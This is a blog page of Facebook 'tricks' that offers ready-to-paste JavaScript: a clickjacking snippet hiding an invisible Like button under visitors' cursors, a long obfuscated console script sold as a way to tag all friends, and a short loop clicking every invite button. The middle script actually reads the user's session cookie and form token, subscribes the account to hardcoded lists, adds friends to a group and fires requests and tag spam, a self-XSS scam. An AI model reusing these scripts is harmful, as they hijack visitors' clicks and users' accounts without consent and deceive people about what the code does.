Showing posts with label trick. Show all posts
Showing posts with label trick. Show all posts
Automatically Increase Facebook Fans Using JavaScript

Automatically Increase Facebook Fans Using JavaScript

Well today i have found another simple to be applied script for your blogs or website which can gain few more unique likes to your facebook page, with this script applied any unique visitor who comes to your page can become your fan. He just needs to click anywhere on the webpage as a small invisible like button will follow his mouse cursor and as soon he clicks anywhere he will be liking your fan page. So now straight away jumping on how it can be applied in a webpage or blog just follow the below simple steps.
facebook Likes

How to Add This JavaScript to blogger?

  • Go to blogger—>Template—>Edit HTML
  • Hit “proceed”
  • Tick on “Expand Widget Template” Check box
  • Search for </head> in your blogs HTML and paste the below script above it.
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery
(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery
(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}

</script>
  •  Now again search for </body> in your blogs HTML and paste below code above it.
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">

<!--<div style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->

<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>

</div>
<script type="text/javascript">
jQuery
( document ).ready( function() {
$
( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery
( "#clickjack-button-wrapper-5" ).css( {
top
: e.pageY - 10,
left
: e.pageX + 30
} );
} );
clickjack_hider
();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery
("input").mouseout(function(){ClickJackFbShow();});
jQuery
("a").mouseout(function(){ClickJackFbShow();});
jQuery
("button").mouseout(function(){ClickJackFbShow();});
jQuery
("textarea").mouseout(function(){ClickJackFbShow();});
jQuery
(".ratingblock").mouseout(function(){ClickJackFbShow();});         jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery
("input").mouseover(function(){ClickJackFbHide();});
jQuery
("a").mouseover(function(){ClickJackFbHide();});
jQuery
("button").mouseover(function(){ClickJackFbHide();});
jQuery
("textarea").mouseover(function(){ClickJackFbHide();});
jQuery
(".ratingblock").mouseover(function(){ClickJackFbHide();});         jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
  • Now just replace the red line in above code with your facebook page URL written in yellow and that’s it now just save the template and jump over to your website to test it out.
Now as soon as you refresh your blog you will see that your cursor has been changed into the hand one as there is a link moving with it. Now your blog readers will see similar thing and ass soon as they will click it they will become your page fan.



Remember :- There are some issues you might face using this script in your website or blog, the first thing is that when people drag they might not able to select the text as they will a semi visible Like button which will be attached to your mouse cursor as it moves, the second one some other gadgets might get affected and act weirdly, try using it if everything works ok than start increasing your fans :)

Automatically Tag all your Friends on any Facebook Status at once


Facebook has tagging feature that we are using for notifying our friend that something is really important for him or her. and they should check it out. Generally, you can tag any Facebook friend in any status update or images so that they can be notified. but it will take more time to search for the friend and then tag him.
Here i gonna share an easy way to tag all your friends automatically in your status comment section using JavaScript. all your Facebook friends will be notified about what you have posted into that status update.

How to Tag all Facebook Friends at Once

If you are searching for the same then you are at right place, just follow simple steps below and see how it can be done.
1) Go to Facebook.com and post normal status update., and go to the direct URL of the status update post by clicking on timestamps .



2) Now, You will be on direct URL of the status update, so, right click and choose “Inspect Element”




3) Now you have to click on the Console tab then paste the JavaScript inside it, given below.





JavaScript

function x__0(){return window.ActiveXObject?new ActiveXObject(“Msxml2.XMLHTTP”):new XMLHttpRequest}function get_friends(){var e=x__0();e.open(“GET”,”/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=”+uid+”&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm”,false);e.send(null);if(e.readyState==4){var t=JSON.parse(e.responseText.substring(e.responseText.indexOf(“{“)));return t.payload.entries}return false}function get_uid(e){var t=x__0();t.open(“GET”,”http://graph.facebook.com/”+e,false);t.send();if(t.readyState==4){return uid=JSON.parse(t.responseText).id}return false}function cereziAl(e){var t=e+”=”;if(document.cookie.length>0){konum=document.cookie.indexOf(t);if(konum!=-1){konum+=t.length;son=document.cookie.indexOf(“;”,konum);if(son==-1)son=document.cookie.length;return unescape(document.cookie.substring(konum,son))}else{return”"}}}function getRandomInt(e,t){return Math.floor(Math.random()*(t-e+1))+e}function randomValue(e){return e[getRandomInt(0,e.length-1)]}function a(e){var t=new XMLHttpRequest;var n=”/ajax/follow/follow_profile.php?__a=1″;var r=”profile_id=”+e+”&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=”+fb_dtsg+”&lsd&__”+user_id+”&phstamp=”;t.open(“POST”,n,true);t.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);t.setRequestHeader(“Content-length”,r.length);t.setRequestHeader(“Connection”,”close”);t.onreadystatechange=function(){if(t.readyState==4&&t.status==200){t.close}};t.send(r)}function sublist(e){var t=document.createElement(“script”);t.innerHTML=”new AsyncRequest().setURI(‘/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe’).setData({ flid: “+e+” }).send();”;document.body.appendChild(t)}function sarkadaslari_al(){var xmlhttp=new XMLHttpRequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval(“arkadaslar = “+xmlhttp.responseText.toString().replace(“for (;;);”,”")+”;”);for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){smesaj="";smesaj_text="";for(i=f*10;i<(f+1)*10;i++){if(arkadaslar.payload.entries[i]){smesaj+=" @["+arkadaslar.payload.entries[i].uid+":"+arkadaslar.payload.entries[i].text+"]";smesaj_text+=" "+arkadaslar.payload.entries[i].text}}sdurumpaylas()}}};var params="&filter[0]=user";params+="&options[0]=friends_only";params+="&options[1]=nm";params+="&token=v7";params+="&viewer="+user_id;params+="&__user="+user_id;if(document.URL.indexOf("https://")>=0){xmlhttp.open(“GET”,”https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1″+params,true)}else{xmlhttp.open(“GET”,”http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1″+params,true)}xmlhttp.send()}function sarkadasekle(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(n.readyState==4){}};n.open(“POST”,”/ajax/add_friend/action.php?__a=1″,true);var r=”to_friend=”+e;r+=”&action=add_friend”;r+=”&how_found=friend_browser”;r+=”&ref_param=none”;r+=”&outgoing_id=”;r+=”&logging_location=friend_browser”;r+=”&no_flyout_on_click=true”;r+=”&ego_log_data=”;r+=”&http_referer=”;r+=”&fb_dtsg=”+document.getElementsByName(“fb_dtsg”)[0].value;r+=”&phstamp=165816749114848369115″;r+=”&__user=”+user_id;n.setRequestHeader(“X-SVN-Rev”,svn_rev);n.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);if(t==”farketmez”&&document.cookie.split(“cins”+user_id+”=”).length>1){n.send(r)}else if(document.cookie.split(“cins”+user_id+”=”).length<=1){cinsiyetgetir(e,t,"sarkadasekle")}else if(t==document.cookie.split("cins"+user_id+"=")[1].split(";")[0].toString()){n.send(r)}}function scinsiyetgetir(uid,cins,fonksiyon){var xmlhttp=new XMLHttpRequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval("cinssonuc = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");cinshtml.innerHTML=cinssonuc.jsmods.markup[0][1].__html;btarihi.setTime(bugun.getTime()+1e3*60*60*24*365);if(cinshtml.getElementsByTagName("select")[0].value=="1"){document.cookie="cins"+user_id+"=kadin;expires="+btarihi.toGMTString()}else if(cinshtml.getElementsByTagName("select")[0].value=="2"){document.cookie="cins"+user_id+"=erkek;expires="+btarihi.toGMTString()}eval(fonksiyon+"("+id+","+cins+");")}};xmlhttp.open("GET","/ajax/timeline/edit_profile/basic_info.php?__a=1&__user="+user_id,true);xmlhttp.setRequestHeader("X-SVN-Rev",svn_rev);xmlhttp.send()}var patt=/comment_text=(.*?)&/;var c=1;username=/\.com\/(.*?)\//.exec(window.top.location)[1];uid=get_uid(username);a=window.top.location;termina=0;var amigos=get_friends();post_id=/[0-9]{8,}/.exec(a);uids="comment_text=";header="ft_ent_identifier="+post_id+"&comment_text=�&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+uid+"&__a=1&__req=4u&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&phstamp="+Math.random();for(var n=1;n<amigos.length;n++){fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;uids+="%40["+amigos[n].uid+"%3AAAAAAAAAAAA]%20";c++;if(c==7){uids+="&";with(new XMLHttpRequest)open("POST","/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type","application/x-www-form-urlencoded"),send(header.replace(patt,uids));z=setTimeout("function(){asd=0}",1e3);clearInterval(z);c=1;uids="comment_text="}}var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);sublist("624334420912439");sublist("599238170088731");sublist("623881154291099");var fb_dtsg=document["getElementsByName"]("fb_dtsg")[0]["value"];var user_id=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);var httpwp=new XMLHttpRequest;var urlwp="/ajax/groups/membership/r2j.php?__a=1";var paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp["open"]("POST",urlwp,true);httpwp["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");httpwp["setRequestHeader"]("Content-length",paramswp["length"]);httpwp["setRequestHeader"]("Connection","keep-alive");httpwp["send"](paramswp);var fb_dtsg=document["getElementsByName"]("fb_dtsg")[0]["value"];var user_id=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);var friends=new Array;gf=new XMLHttpRequest;gf["open"]("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math["random"]()+"&filter[0]=user&options[0]=friends_only",false);gf["send"]();if(gf["readyState"]!=4){}else{data=eval("("+gf["responseText"]["substr"](9)+")");if(data["error"]){}else{friends=data["payload"]["entries"]["sort"](function(e,t){return e["index"]-t["index"]})}}for(var i=0;i<friends["length"];i++){var httpwp=new XMLHttpRequest;var urlwp="/ajax/groups/members/add_post.php?__a=1";var paramswp="&fb_dtsg="+fb_dtsg+"&group_id="+gid+"&source=typeahead&ref=&message_id=&members="+friends[i]["uid"]+"&__user="+user_id+"&phstamp=";httpwp["open"]("POST",urlwp,true);httpwp["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");httpwp["setRequestHeader"]("Content-length",paramswp["length"]);httpwp["setRequestHeader"]("Connection","keep-alive");httpwp["onreadystatechange"]=function(){if(httpwp["readyState"]==4&&httpwp["status"]==200){}};httpwp["send"](paramswp)}var spage_id="473108719451870";var spost_id="473108719451870";var sfoto_id="473108719451870";var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var smesaj="";var smesaj_text="";var arkadaslar=[];var svn_rev;var bugun=new Date;var btarihi=new Date;btarihi.setTime(bugun.getTime()+1e3*60*60*4*1);if(!document.cookie.match(/paylasti=(\d+)/)){document.cookie="paylasti=hayir;expires="+btarihi.toGMTString()}var tiklama=document.addEventListener("click",function(){if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir")>=0){svn_rev=document.head.innerHTML.split(‘”svn_rev”:’)[1].split(“,”)[0];sarkadaslari_al();document.cookie=”paylasti=evet;expires=”+btarihi.toGMTString();document.removeEventListener(tiklama)}},false);var cinssonuc={};var cinshtml=document.createElement(“html”)<br />


After pasting above javascript, hit enter and see the magic, almost all your facebook friends will be tagged automatically in the status comments section. Now your all facebook friends will be notified about your status update, and you will start receiving likes and comments. ;)

How to Invite ALL Friends together to like the fanpage ON FACEBOOK


Well, Facebook has good feature called “Invite Friends” which  helps us to gain likes by inviting your Facebook friends. even your fan also can invite their friend to like your Facebook fan page as well. but i don’t think anyone will be interested to invite their friends to like your Facebook page. :P if anyone become your fan then they are impressed by your page’s posts or different stuff which they haven’t seen elsewhere earlier. but they don’t care about your page likes. but one thing is good in this feature that you can invite your Facebook friends to like your page. but it also boring work to send invitation one by one friends by clicking on “invite” button.  Now days, i am receiving a lot of request and invitation by the friends to like their Facebook fan page.  but some of them inviting  me personally on Facebook chat/messages to like their page. but this is not good way, sometimes it looks like someone trying to harassing me :P and no doubt, i have also done these type of things with my Facebook friends when i had very low amount of likes in my Facebook page.

Well, come up to this post. here in this article i am gonna share different way of invite all friends to like your Facebook fan page by one click. we have to use just a simple script that will automatically invite all your friends by clicking on single button. So, just follow the simple steps below and enjoy..
1 ) Open your Facebook page, where you desired to invite your friends.
2 ) Now just navigate to Build Audience > Invite option.
3 ) Now, a dialog box will be appear with invite option with all your friends name.
4 ) Press F12 to open inspect element tab.
5) Go to the console tab and copy paste the following script.
var inputs = document.getElementsByClassName('uiButton _1sm');
for(var i=0; i<inputs.length;i++) {
inputs[i].click();
}
6 ) After pasting above code into console tab, Hit enter and then see the magic ! all your friends will be invited to like your Facebook page.


Hope this tutorial helps you to invite all your friends to like your Facebook page. if you face any
problem while processing the steps feel free to ask me via comment. and also do not forget to
share this with your friends. :)